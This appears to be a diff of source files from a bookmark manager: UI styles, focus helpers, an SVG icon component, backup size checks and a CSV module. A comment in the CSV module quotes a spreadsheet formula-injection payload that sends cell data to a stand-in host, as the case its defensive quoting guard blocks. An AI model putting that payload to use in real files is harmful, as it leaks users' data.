padding: 0 var(--sp-3) var(--sp-3) calc(var(--sp-3) + var(--sp-4));
|
||||
color: var(--fg-muted);
|
||||
}
|
||||
|
||||
li + li {
|
||||
margin-top: var(--sp-1);
|
||||
}
|
||||
</style>
|
||||
@@ -0,0 +1,37 @@
|
||||
/**
|
||||
* Focus for multi-step screens — docs/06 §5.
|
||||
*
|
||||
* Purpose: when a step replaces the one before it (the import's preview, its
|
||||
* progress, its result), the control that had focus is gone and focus falls
|
||||
* to `<body>`: a keyboard user starts again from the top of the page, and a
|
||||
* screen reader says nothing (v1.1.0 review). This attachment moves focus to
|
||||
* the new step's heading as it appears.
|
||||
* Guarantees: never steals focus. It acts only when focus was lost or was
|
||||
* already inside the same `[data-focus-scope]` container.
|
||||
*/
|
||||
export function focusWhenShown(heading: HTMLElement): void {
|
||||
const active = document.activeElement;
|
||||
const scope = heading.closest('[data-focus-scope]');
|
||||
if (focusLost() || scope?.contains(active) === true) heading.focus();
|
||||
}
|
||||
|
||||
/**
|
||||
* Focus fell to `<body>`, or is about to: the control that had it was removed,
|
||||
* or sits in a dialog that just closed. The browser moves such a focus to
|
||||
* `<body>` only at its next rendering update, after any code that runs now —
|
||||
* so checking for `<body>` alone left focus to fall there anyway.
|
||||
*/
|
||||
export function focusLost(): boolean {
|
||||
const active = document.activeElement;
|
||||
if (active === null || active === document.body) return true;
|
||||
return !active.isConnected || active.closest('dialog:not([open])') !== null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Put focus on `target` if it has fallen to `<body>` — for when the control
|
||||
* that had it was removed by the very action it started (a dialog cannot hand
|
||||
* focus back to a button that went with what it deleted).
|
||||
*/
|
||||
export function focusIfLost(target: HTMLElement | null | undefined): void {
|
||||
if (target !== null && target !== undefined && focusLost()) target.focus();
|
||||
}
|
||||
@@ -0,0 +1,226 @@
|
||||
<script lang="ts" module>
|
||||
/** Every icon the UI draws. Simple geometric strokes, drawn for this project. */
|
||||
export type IconName =
|
||||
| 'upload'
|
||||
| 'download'
|
||||
| 'edit'
|
||||
| 'folder'
|
||||
| 'folder-open'
|
||||
| 'folder-plus'
|
||||
| 'link'
|
||||
| 'trash'
|
||||
| 'move'
|
||||
| 'copy'
|
||||
| 'external'
|
||||
| 'search'
|
||||
| 'chevron'
|
||||
| 'check'
|
||||
| 'close'
|
||||
| 'gear'
|
||||
| 'info'
|
||||
| 'sun'
|
||||
| 'moon'
|
||||
| 'monitor'
|
||||
| 'globe'
|
||||
| 'warning'
|
||||
| 'error'
|
||||
| 'sort'
|
||||
| 'layers'
|
||||
| 'expand'
|
||||
| 'collapse'
|
||||
| 'file'
|
||||
| 'shield'
|
||||
| 'code'
|
||||
| 'heart'
|
||||
| 'backup'
|
||||
| 'lock'
|
||||
| 'logo';
|
||||
|
||||
/**
|
||||
* Motion an icon can carry. All of it is defined inside
|
||||
* `prefers-reduced-motion: no-preference` (docs/06 §5), so asking for motion
|
||||
* is always safe — a user who opted out gets a still icon.
|
||||
*/
|
||||
export type IconMotion = 'none' | 'spin' | 'bob' | 'tilt' | 'draw' | 'pulse';
|
||||
</script>
|
||||
|
||||
<script lang="ts">
|
||||
interface Props {
|
||||
name: IconName;
|
||||
size?: number;
|
||||
motion?: IconMotion;
|
||||
/** Rotated a quarter turn — the disclosure chevron when open. */
|
||||
turned?: boolean;
|
||||
}
|
||||
|
||||
let { name, size = 16, motion = 'none', turned = false }: Props = $props();
|
||||
</script>
|
||||
|
||||
<!-- Decorative by contract: the control around it carries the accessible name. -->
|
||||
<svg
|
||||
class="icon {motion}"
|
||||
class:turned
|
||||
width={size}
|
||||
height={size}
|
||||
viewBox="0 0 24 24"
|
||||
fill="none"
|
||||
stroke="currentColor"
|
||||
stroke-width="1.75"
|
||||
stroke-linecap="round"
|
||||
stroke-linejoin="round"
|
||||
aria-hidden="true"
|
||||
focusable="false"
|
||||
>
|
||||
{#if name === 'upload'}
|
||||
<path class="arrow" d="M12 15V4m-4.5 4.5L12 4l4.5 4.5" /><path d="M4 14v5h16v-5" />
|
||||
{:else if name === 'download'}
|
||||
<path class="arrow" d="M12 4v11m-4.5-4.5L12 15l4.5-4.5" /><path d="M4 14v5h16v-5" />
|
||||
{:else if name === 'edit'}
|
||||
<path d="M14.5 5.5l4 4L9 19H5v-4z" /><path d="M13 7l4 4" />
|
||||
{:else if name === 'folder'}
|
||||
<path d="M3 7.5V18a1 1 0 0 0 1 1h16a1 1 0 0 0 1-1V9a1 1 0 0 0-1-1h-8l-2-2.5H4a1 1 0 0 0-1 1z" />
|
||||
{:else if name === 'folder-open'}
|
||||
<path d="M3 18V6.5a1 1 0 0 1 1-1h5l2 2.5h7a1 1 0 0 1 1 1V11" /><path d="M3 18l3-7h15l-3 7z" />
|
||||
{:else if name === 'folder-plus'}
|
||||
<path d="M3 7.5V18a1 1 0 0 0 1 1h16a1 1 0 0 0 1-1V9a1 1 0 0 0-1-1h-8l-2-2.5H4a1 1 0 0 0-1 1z" /><path d="M12 11v5m-2.5-2.5h5" />
|
||||
{:else if name === 'link'}
|
||||
<path d="M10 14a4 4 0 0 0 5.7 0l3-3a4 4 0 0 0-5.7-5.7L11.5 6.8" /><path d="M14 10a4 4 0 0 0-5.7 0l-3 3a4 4 0 0 0 5.7 5.7l1.5-1.5" />
|
||||
{:else if name === 'trash'}
|
||||
<g class="lid"><path d="M4 7h16" /><path d="M9.5 7V4.5h5V7" /></g><path d="M6 7l1 13h10l1-13" /><path d="M10 11v5m4-5v5" />
|
||||
{:else if name === 'move'}
|
||||
<path d="M3 7.5V18a1 1 0 0 0 1 1h16a1 1 0 0 0 1-1V9a1 1 0 0 0-1-1h-8l-2-2.5H4a1 1 0 0 0-1 1z" /><path class="arrow" d="M8 13.5h7m-2.5-2.5l2.5 2.5-2.5 2.5" />
|
||||
{:else if name === 'copy'}
|
||||
<rect x="8" y="8" width="12" height="12" rx="1.5" /><path d="M16 8V5a1 1 0 0 0-1-1H5a1 1 0 0 0-1 1v10a1 1 0 0 0 1 1h3" />
|
||||
{:else if name === 'external'}
|
||||
<path d="M14 4h6v6m0-6l-9 9" /><path d="M18 14v5a1 1 0 0 1-1 1H5a1 1 0 0 1-1-1V7a1 1 0 0 1 1-1h5" />
|
||||
{:else if name === 'search'}
|
||||
<circle cx="10.5" cy="10.5" r="6" /><path d="M15 15l5 5" />
|
||||
{:else if name === 'chevron'}
|
||||
<path d="M9 5l7 7-7 7" />
|
||||
{:else if name === 'check'}
|
||||
<path class="stroke" pathLength="1" d="M4.5 12.5l5 5 10-11" />
|
||||
{:else if name === 'close'}
|
||||
<path d="M6 6l12 12M18 6L6 18" />
|
||||
{:else if name === 'gear'}
|
||||
<g class="rotor"><circle cx="12" cy="12" r="3" /><path d="M12 3v2.5m0 13V21m9-9h-2.5m-13 0H3m15.4-6.4l-1.8 1.8M7.4 16.6l-1.8 1.8m12.8 0l-1.8-1.8M7.4 7.4L5.6 5.6" /></g>
|
||||
{:else if name === 'info'}
|
||||
<circle cx="12" cy="12" r="9" /><path d="M12 11v6m0-9.5v.5" />
|
||||
{:else if name === 'sun'}
|
||||
<g class="rotor"><circle cx="12" cy="12" r="4" /><path d="M12 2.5v2m0 15v2m9.5-9.5h-2m-15 0h-2m15.2-6.7l-1.4 1.4M6.7 17.3l-1.4 1.4m13.4 0l-1.4-1.4M6.7 6.7L5.3 5.3" /></g>
|
||||
{:else if name === 'moon'}
|
||||
<path d="M20 14.5A8 8 0 0 1 9.5 4a8 8 0 1 0 10.5 10.5z" />
|
||||
{:else if name === 'monitor'}
|
||||
<rect x="3" y="4.5" width="18" height="12" rx="1.5" /><path d="M9 20h6m-3-3.5V20" />
|
||||
{:else if name === 'globe'}
|
||||
<circle cx="12" cy="12" r="9" /><path d="M3 12h18M12 3c2.5 2.5 3.5 5.5 3.5 9s-1 6.5-3.5 9c-2.5-2.5-3.5-5.5-3.5-9S9.5 5.5 12 3z" />
|
||||
{:else if name === 'warning'}
|
||||
<path d="M12 3.5l9.5 16.5h-19z" /><path d="M12 10v4.5m0 2.5v.5" />
|
||||
{:else if name === 'error'}
|
||||
<circle cx="12" cy="12" r="9" /><path d="M12 7.5v5.5m0 3v.5" />
|
||||
{:else if name === 'sort'}
|
||||
<path d="M4 6h9M4 12h6M4 18h3" /><path class="arrow" d="M17 5v14m-3-3l3 3 3-3" />
|
||||
{:else if name === 'layers'}
|
||||
<path d="M12 4l9 4.5-9 4.5-9-4.5z" /><path d="M3 12.5l9 4.5 9-4.5" /><path d="M3 16.5l9 4.5 9-4.5" />
|
||||
{:else if name === 'expand'}
|
||||
<path d="M7 9l5 5 5-5" /><path d="M7 4l5 5 5-5" opacity="0.5" />
|
||||
{:else if name === 'collapse'}
|
||||
<path d="M7 15l5-5 5 5" /><path d="M7 20l5-5 5 5" opacity="0.5" />
|
||||
{:else if name === 'file'}
|
||||
<path d="M6 3h8l4 4v14H6z" /><path d="M14 3v4h4" />
|
||||
{:else if name === 'shield'}
|
||||
<path d="M12 3l8 3v5.5c0 5-3.4 8.4-8 9.5-4.6-1.1-8-4.5-8-9.5V6z" /><path class="stroke" pathLength="1" d="M8.5 12l2.5 2.5 4.5-5" />
|
||||
{:else if name === 'code'}
|
||||
<path d="M8.5 7L3.5 12l5 5m7-10l5 5-5 5m-2.5-12l-2 14" />
|
||||
{:else if name === 'heart'}
|
||||
<path d="M12 20s-7.5-4.6-7.5-10A4.5 4.5 0 0 1 12 7a4.5 4.5 0 0 1 7.5 3c0 5.4-7.5 10-7.5 10z" />
|
||||
{:else if name === 'backup'}
|
||||
<path d="M4 12a8 8 0 1 0 2.3-5.6" /><path d="M4 4v3.5h3.5" /><path d="M12 8v4l2.5 2.5" />
|
||||
{:else if name === 'lock'}
|
||||
<rect x="5" y="10.5" width="14" height="9.5" rx="1.5" /><path d="M8.5 10.5V8a3.5 3.5 0 0 1 7 0v2.5" />
|
||||
{:else if name === 'logo'}
|
||||
<path d="M6 3h12v18l-6-4.5L6 21z" /><path class="spark" d="M12 6.5l1 2.5 2.5 1-2.5 1-1 2.5-1-2.5-2.5-1 2.5-1z" />
|
||||
{/if}
|
||||
</svg>
|
||||
|
||||
<style>
|
||||
.icon {
|
||||
display: inline-block;
|
||||
flex: none;
|
||||
vertical-align: -0.15em;
|
||||
}
|
||||
|
||||
.stroke {
|
||||
stroke-dasharray: 1;
|
||||
stroke-dashoffset: 0;
|
||||
}
|
||||
|
||||
/* State, not decoration: the open chevron is turned with or without motion. */
|
||||
.turned {
|
||||
transform: rotate(90deg);
|
||||
}
|
||||
|
||||
@media (prefers-reduced-motion: no-preference) {
|
||||
.icon {
|
||||
transition: transform var(--dur-2) var(--ease);
|
||||
}
|
||||
|
||||
/* Settings gear and the sun: a quarter turn while the control is hovered. */
|
||||
:global(:is(button, a):hover) .spin .rotor,
|
||||
:global(:is(button, a):focus-visible) .spin .rotor {
|
||||
transform: rotate(90deg);
|
||||
}
|
||||
|
||||
.rotor {
|
||||
transform-origin: 12px 12px;
|
||||
transition: transform var(--dur-3) var(--ease);
|
||||
}
|
||||
|
||||
/* Upload/move arrows: a short bob, looping while hovered or dragged over. */
|
||||
:global(:is(button, a):hover) .bob .arrow,
|
||||
:global(.dragging) .bob .arrow {
|
||||
animation: bob 900ms var(--ease) infinite;
|
||||
}
|
||||
|
||||
/* Trash: the lid lifts. */
|
||||
.lid {
|
||||
transform-origin: 20px 7px;
|
||||
transition: transform var(--dur-2) var(--ease);
|
||||
}
|
||||
|
||||
:global(button:is(:hover, :focus-visible)) .tilt .lid {
|
||||
transform: rotate(14deg) translateY(-1px);
|
||||
}
|
||||
|
||||
/* The success check draws itself once, when it appears. */
|
||||
.draw .stroke {
|
||||
animation: draw 480ms var(--ease) 120ms both;
|
||||
}
|
||||
|
||||
/* Twice as the page opens, then still: anything that moves on its own for
|
||||
more than five seconds needs a pause control (WCAG 2.2.2), and a logo
|
||||
is not worth one. */
|
||||
.pulse .spark {
|
||||
transform-origin: 12px 10px;
|
||||
animation: pulse 2.4s var(--ease) 2;
|
||||
}
|
||||
|
||||
@keyframes bob {
|
||||
50% {
|
||||
transform: translateY(-2px);
|
||||
}
|
||||
}
|
||||
|
||||
@keyframes draw {
|
||||
from {
|
||||
stroke-dashoffset: 1;
|
||||
}
|
||||
}
|
||||
|
||||
@keyframes pulse {
|
||||
50% {
|
||||
transform: scale(0.8);
|
||||
opacity: 0.6;
|
||||
}
|
||||
}
|
||||
}
|
||||
</style>
|
||||
@@ -0,0 +1,53 @@
|
||||
/**
|
||||
* Would the import read this back? — docs/09 T2, docs/03 §1 step 6b.
|
||||
*
|
||||
* Purpose: the Replace safety backup is only a backup if BookmarkMagic can
|
||||
* import it again. A profile past the node, depth or size caps produced a
|
||||
* file the parser refuses, and 1.0.x would still delete everything after
|
||||
* writing it. These checks run before anything is written or deleted.
|
||||
* Inputs: a tree, or the serialized text.
|
||||
* Guarantees: pure; the limits are exactly the ones the parsers enforce.
|
||||
*/
|
||||
import { MAX_DEPTH, MAX_FILE_BYTES, MAX_NODES } from './limits';
|
||||
import { type BookmarkNode, computeStats } from './model';
|
||||
|
||||
/** Why a tree could not be re-imported, or undefined when it could. */
|
||||
export function treeCapsBreach(roots: readonly BookmarkNode[]): string | undefined {
|
||||
const { bookmarks, folders, maxDepth } = computeStats(roots);
|
||||
const nodes = bookmarks + folders;
|
||||
if (nodes > MAX_NODES) return `${nodes} items, over the ${MAX_NODES} the import accepts`;
|
||||
if (maxDepth > MAX_DEPTH) {
|
||||
return `folders nested ${maxDepth} deep, over the ${MAX_DEPTH} the import accepts`;
|
||||
}
|
||||
return undefined;
|
||||
}
|
||||
|
||||
/**
|
||||
* UTF-8 length without materialising the bytes — a 25 MB string is the case
|
||||
* this exists for. Lone surrogates count as U+FFFD, as `TextEncoder` writes them.
|
||||
*/
|
||||
export function utf8ByteLength(text: string): number {
|
||||
let bytes = 0;
|
||||
for (let i = 0; i < text.length; i++) {
|
||||
const unit = text.charCodeAt(i);
|
||||
if (unit < 0x80) bytes += 1;
|
||||
else if (unit < 0x800) bytes += 2;
|
||||
else if (unit >= 0xd800 && unit <= 0xdbff && isLowSurrogate(text.charCodeAt(i + 1))) {
|
||||
bytes += 4;
|
||||
i++;
|
||||
} else bytes += 3;
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
function isLowSurrogate(unit: number): boolean {
|
||||
return unit >= 0xdc00 && unit <= 0xdfff;
|
||||
}
|
||||
|
||||
/** Why a serialized file could not be re-imported, or undefined when it could. */
|
||||
export function textCapsBreach(text: string): string | undefined {
|
||||
const bytes = utf8ByteLength(text);
|
||||
return bytes > MAX_FILE_BYTES
|
||||
? `${bytes} bytes, over the ${MAX_FILE_BYTES} the import accepts`
|
||||
: undefined;
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
/**
|
||||
* The CSV dialect — docs/04 §3. Shared by the reader, the writer and the
|
||||
* format sniffer, so the three can never disagree about what our CSV is.
|
||||
*/
|
||||
|
||||
/** The header row, in order. A file is our CSV only if it says exactly this. */
|
||||
export const CSV_COLUMNS = ['folder_path', 'title', 'url', 'add_date'] as const;
|
||||
|
||||
export type CsvDelimiter = ',' | ';';
|
||||
|
||||
/** `;` exists for locales whose Excel list separator is not a comma. */
|
||||
export const CSV_DELIMITERS: readonly CsvDelimiter[] = [',', ';'];
|
||||
|
||||
/**
|
||||
* UTF-8 byte order mark — written so Excel detects the encoding on
|
||||
* double-click. Spelled as an escape: the raw character is invisible in every
|
||||
* editor, and one save that strips it would silently change what ships.
|
||||
*/
|
||||
export const CSV_BOM = '';
|
||||
|
||||
/** A cell a spreadsheet would evaluate as a formula, after any guard quotes. */
|
||||
const FORMULA_START = /^'*[=+\-@\t\r]/;
|
||||
|
||||
/**
|
||||
* Prefix one `'` to a cell a spreadsheet would run as a formula.
|
||||
*
|
||||
* A bookmark titled `=HYPERLINK("https://evil.example/?"&A2,"Sign in")` opened
|
||||
* from our CSV (which carries a BOM precisely so Excel opens it) was a live
|
||||
* formula; `@user`, `+1 …` and `-20% off` showed `#NAME?` and were destroyed by
|
||||
* the review-and-re-save workflow CSV exists for. A cell that already starts
|
||||
* with guard quotes before a trigger gets one more, so `restoreFormula` can
|
||||
* always undo exactly one and the round trip stays exact.
|
||||
*/
|
||||
export function neutralizeFormula(cell: string): string {
|
||||
return FORMULA_START.test(cell) ? `'${cell}` : cell;
|
||||
}
|
||||
|
||||
/** Undo `neutralizeFormula`: drop one guard quote, only where one was added. */
|
||||
export function restoreFormula(cell: string): string {
|
||||
return cell.startsWith("'") && FORMULA_START.test(cell.slice(1)) ? cell.slice(1) : cell;
|
||||
}
|
||||